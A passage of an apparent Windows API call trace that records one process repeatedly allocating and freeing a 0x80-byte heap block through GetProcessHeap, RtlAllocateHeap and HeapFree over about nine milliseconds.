dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.221] GetProcessHeap () returned 0x540000 [0063.221] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.221] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.222] GetProcessHeap () returned 0x540000 [0063.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.223] GetProcessHeap () returned 0x540000 [0063.223] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.223] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.224] GetProcessHeap () returned 0x540000 [0063.224] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.224] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.225] GetProcessHeap () returned 0x540000 [0063.225] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.226] GetProcessHeap () returned 0x540000 [0063.226] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.226] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.227] GetProcessHeap () returned 0x540000 [0063.227] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.227] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.228] GetProcessHeap () returned 0x540000 [0063.228] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.229] GetProcessHeap () returned 0x540000 [0063.229] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.230] GetProcessHeap () returned 0x540000 [0063.230] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 